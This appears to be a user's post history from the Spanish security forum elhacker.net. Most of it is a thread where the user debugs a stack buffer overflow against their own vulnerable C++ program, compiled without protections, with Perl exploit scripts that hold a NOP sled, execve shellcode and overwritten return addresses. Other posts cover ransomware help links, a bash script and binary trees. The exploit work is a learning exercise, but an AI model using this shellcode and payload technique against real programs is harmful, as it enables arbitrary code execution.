elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: [1] 2 3 4 5
1  Seguridad Informática / Bugs y Exploits / Re: Duda explotando un buffer overflow en el stack en: 9 Febrero 2024, 23:47 pm
Hola otroWeyMas.nasm, muchas gracias por tu respuesta.

Pues tenía la esperanza que pudiera llegar a entender que pasa viendo la memoria y depurando. Almenos he podido comprobar que al llegar al return salta a la posición que tocaria para ejectuar los NOPs:



EDITO:

Bueno bueno, creo que acabo de entender lo que pasa. La propia shellcode ejecuta instrucciones push y esta sobreescribe su propio código dentro de la pila, aquí la prueba:



He logrado depurar paso a paso incluso las instrucciones de memoria hacia donde he saltado utilizando los comandos explicados aquí: https://sourceware.org/gdb/current/onlinedocs/gdb.html/Continuing-and-Stepping.html

Claro, con la otra shellcode estos push sobreescriben otras direcciones de memoria que no interfieren en la ejecución.

Lo que no entiendo es porque el stack pointer esta apuntando a la dirección 0x7fffffffdf00

Seguire investigando! :D

Un saludo
2  Seguridad Informática / Bugs y Exploits / Re: Duda explotando un buffer overflow en el stack en: 20 Enero 2024, 12:12 pm
Buenas, trasteando un poco mas he conseguido un exploit que funciona:

Código
  1.  
  2. #!/usr/bin/perl
  3.  
  4. $shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes
  5. $address = "\x30\xdd\xff\xff\xff\x7f"x5; #0x7fffffffdd30; return address in big-endian - 8 bytes
  6. $nop = "\x90"x162; #186 bytes
  7.  
  8. print $nop . $shellcode . $address;
  9.  

Básicamente lo que he hecho ha sido quitar NOPs y duplicar cinco veces la dirección de retorno por si durante la ejecución por algun motivo la posición de memoria de la dirección de retorno variaba.
Este es un frame de la pila justo antes de terminar la ejecución:



Pero no acabo de entender porque este exploit si que funciona y el otro no. Alguna idea?

Muchas gracias y saludos!
3  Seguridad Informática / Bugs y Exploits / Duda explotando un buffer overflow en el stack en: 19 Enero 2024, 21:16 pm
Buenas tardes y feliz año!  :)

Estoy realizando unas pruebas explotando un buffer overflow en la pila de un programa sencillo que he creado, pero no logro entender el porque de que falle mi exploit. Creo que paso algo por alto, pero no logro entender el que.
El programa a explotar es el siguiente:

Código
  1. #include <iostream>
  2. #include <cstring>
  3. using namespace std;
  4.  
  5. int main(int argc, char* argv[]) {
  6.  
  7.    char output[200];
  8.  
  9.    const char* source = argv[1];
  10.  
  11.    strcpy(output, source);
  12.  
  13.    cout << "Output string: " << output << endl;
  14.  
  15.    return 0;
  16. }

Deshabilito el ASLR en mi ordernador con arquitectura intel de 64 bits y compilo el programa quitando las protecciones del stack:

Código
  1. g++ strcpy_sample.cpp -fno-stack-protector -z execstack -g -o sut.exe

Una vez hecho esto, voy a depurar el programa con gdb para calcular el desplazamiento y obtener la dirección de memoria de retorno de la función:



He utilizado una entrada de 200 caracteres A para llenar el buffer y ver mejor la pila del programa. la dirección de retorno esta en la posición 0x7fffffffdda8 de memòria y la variable output esta en la dirección 0x7fffffffdcd0
Como se muestra en la siguiente imagen:



Entonces para calcular el desplazamiento con gdb hago:

offset =  @ret - @output = 0x7fffffffdda8 - 0x7fffffffdcd0 = 216 bytes

Código
  1. (gdb) p/d 0x7fffffffdda8 - 0x7fffffffdcd0

Una vez obtengo el desplazamiento, escojo una dirección valida al azar dentro del stack para usarla como dirección de retorno. Por ejemplo usaré la 0x7fffffffdd30

Entonces, sabiendo estos dos parametros, he escrito un pequeño exploit en lenguaje perl:

Código
  1. #!/usr/bin/perl
  2.  
  3. $shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes
  4. $address = "\x30\xdd\xff\xff\xff\x7f\x00\x00"; #0x7fffffffdd30; return address in big-endian - 8 bytes
  5. $nop = "\x90"x186; #186 bytes
  6.  
  7. print $nop . $shellcode . $address;
  8.  

Por cierto, la shellcode la he obtenido de shell-storm.org, ocupa 30 bytes y es la siguiente: https://shell-storm.org/shellcode/files/shellcode-603.html

El exploit de perl, devuelve una cadena de 224 bytes = 186 bytes de NOPs + 30bytes de la shellcode + 8 bytes de la dirección de retorno = offset + @retorno

Entonces, ejecuto gdb pasandole el exploit como entrada y el stack me queda así:



Claro, lo que ha pasado aquí es que la posición de memoria de la dirección de retorno ha cambiado:

rip at 0x7fffffffdda8 --> rip at 0x7fffffffdd88

Esto es debido a que el tamaño del buffer de entrada (argv[1]) ha cambiado y es mas grande, antes eran 200bytes y ahora son 216 bytes, y por lo tanto al copiar el buffer se ha ampliado el offset en 32 bytes.

Pero si vuelvo a calcular el desplazamiento entre la posición de la dirección de memoria de retorno y la posición de la variable output me siguen saliendo 216bytes:

Código
  1. (gdb) p/d 0x7fffffffdd88 - 0x7fffffffdcb0

Esto es así porque la variable $output se ha desbordado, pero sigue "ocupando" 200 bytes en memoria.

Pero, en cualquier caso, he acertado y la dirección de retorno se ha sobreescrito con la dirección que quería, si nos fijamos en la imagen anterior, la nueva posición de retorno 0x7fffffffdd88 contiene la dirección: 0x7fffffffdd30

Ahora si continuo con la ejecución debería  saltar a la posición de memoria del medio de la stack. ejectuar los NOPs y luego la shellcode para obtener una shell. Sin embargo, el programa termina con un error de segmentation fault y parece que no ejectua la shellcode.



Alguien me sabría decir porque ha ocurrido esto?
Se os ocurre alguna forma de validar si realmente se ha ejecutado la shellcode?
4  Seguridad Informática / Seguridad / Re: Crypt0l0ker en: 20 Abril 2017, 23:25 pm
Como ya dije en un mensaje anterior, prueba aquí: https://www.nomoreransom.org/es/index.html

Puedes probar varias herramientas y hasta detecta si es alguna variante conocida y te da el decrypter

5  Foros Generales / Dudas Generales / Re: seguridad de redes en: 12 Abril 2017, 23:08 pm
Puedes empezar con el RFC del protocolo TCP

https://tools.ietf.org/html/rfc793
6  Seguridad Informática / Seguridad / Re: virus .wallet en: 11 Abril 2017, 20:26 pm
https://www.nomoreransom.org/ también puede ayudarte

Por casualidad me tropece con uno hace muy poco que encriptaba y añadia la extensión .wallet y no pude encontrar ningún decrypter :(



7  Programación / Scripting / Re: problemas con un script de debian en: 21 Junio 2016, 23:44 pm
He copiado tu codigo en un archivo, y a mi no me devuelve ningun error:

Código
  1. #!/bin/bash
  2.  
  3. num=$1
  4.  
  5. until [[ "$num" -le 0 ]]; do
  6.        echo "numero: $num"
  7.        num=$(($num/2))
  8.        let cont+=1
  9. done
  10.  
  11. echo "CONTADOR: $cont"
  12.  

Salida:

Citar
MacBookPro:Scripts M3LiNdRu$ ./sample.sh 10
numero: 10
numero: 5
numero: 2
numero: 1
CONTADOR: 4

8  Foros Generales / Noticias / Re: Cómo imprimir 75.000 páginas con el mismo cartucho de tinta en: 20 Mayo 2014, 22:11 pm
Y cuanto nos va a costar cada cartucho?  :rolleyes:
9  Programación / Programación C/C++ / Re: Implementación de Arboles binarios en: 17 Septiembre 2013, 02:35 am
Cierto, si se pueden comparar, paranoias del compilador!!!

Lo curioso es que un mètodo que devuelve un objeto, no puede devolver NULL, aaarghhh, demasiado tiempo jugando con Java!

Por otra parte, mi inspiración ha vuelto a mi, mañana os prometo noticias  :D

Saludos!
10  Programación / Programación C/C++ / Implementación de Arboles binarios en: 16 Septiembre 2013, 20:41 pm
Buenas tardes,


Llevó todo el dia peleandome con una clase, para implementar arboles binarios, el codigo es el siguiente:

//Archivo Tree.cpp
Código
  1. struct Node {
  2. int info;
  3. Node *fesq;
  4. Node *fdre;
  5. };
  6.  
  7. class Tree {
  8.  
  9. private:
  10.  
  11. Node *root;
  12.  
  13. public:
  14.  
  15. Tree(int);
  16. void insertar(int);
  17. void plantar(int, Node &, Node&);
  18. };

//Codigo Tree.cpp
Código
  1. Tree::Tree(int value) {
  2. root->info = value;
  3. root->fesq = NULL;
  4. root->fdre = NULL;
  5. }
  6.  
  7. void Tree::plantar(int value, Node & f1, Node & f2) {
  8. root->info = value;
  9. root->fesq = f1;
  10. root->fdre = f2;
  11. }
  12.  
  13. void Tree::insertar(int value) {
  14.     if (root ==NULL) {
  15.         root->info = value;
  16.         root->fesq = NULL;
  17.         root->fdre = NULL;
  18.     }
  19.     else if(x < root->info) root->fesq.insertar(x);
  20.     else if(x > root->info) root->fdre.insertar(x);
  21. }
  22.  

Primer problema, visual studio me dice que root no se puede comparar con NULL, entonces como puedo saber si un hijo esta vacio???

Segundo problema, nose com implementar la función de insertar. Se que esta mal porque estoy llamando desde un nodo, un metodo que no existe y que tiene arbol.

Nose, tengo ya los nervios a flor de piel y lo siguiente que haré sera amenazar mi portatil con una tostadora xD
Páginas: [1] 2 3 4 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines